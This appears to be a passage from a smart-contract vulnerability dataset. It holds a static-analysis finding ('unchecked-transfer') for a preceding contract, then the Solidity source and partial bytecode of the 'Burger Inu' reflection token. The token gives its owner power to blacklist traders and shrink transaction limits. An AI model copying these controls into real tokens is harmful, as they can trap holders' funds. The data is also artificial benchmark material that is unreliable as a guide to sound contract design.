610ab5565b509092149392505050565b610100810460009081526002602052604090208054600160ff9093169290921b909117905556fe4d65726b6c654469737472696275746f723a2044726f7020616c726561647920636c61696d65642e4d65726b6c654469737472696275746f723a20496e76616c69642070726f6f662e4d65726b6c654469737472696275746f723a205472616e73666572206661696c65642e4d65726b6c654469737472696275746f723a204163636f756e7420697320626c6f636b65642ea2646970667358221220334218dce078ad979344e1d6bd9f4dafaade6013b64643c6a33f0d07acb249b464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
1,765
0x3c8d02a36a1e0087946d1a14b6f41bf59b6efa33
/** *Submitted for verification at Etherscan.io on 2021-07-05 */ /* Welcome to Burger Inu token, for hungry doggos Telegram: https://t.me/burgerinu Twitter: https://twitter.com/BurgerInu */ //SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BurgerInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 *10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Burger Inu"; string private constant _symbol = 'BURGER'; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(cooldownEnabled){ require(cooldown[from] < block.timestamp - (360 seconds)); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f42757267657220496e7500000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d9660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c3565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4255524745520000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612547565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061283190919063ffffffff16565b6128b790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e0c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d536022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d066023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613dbe6029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffff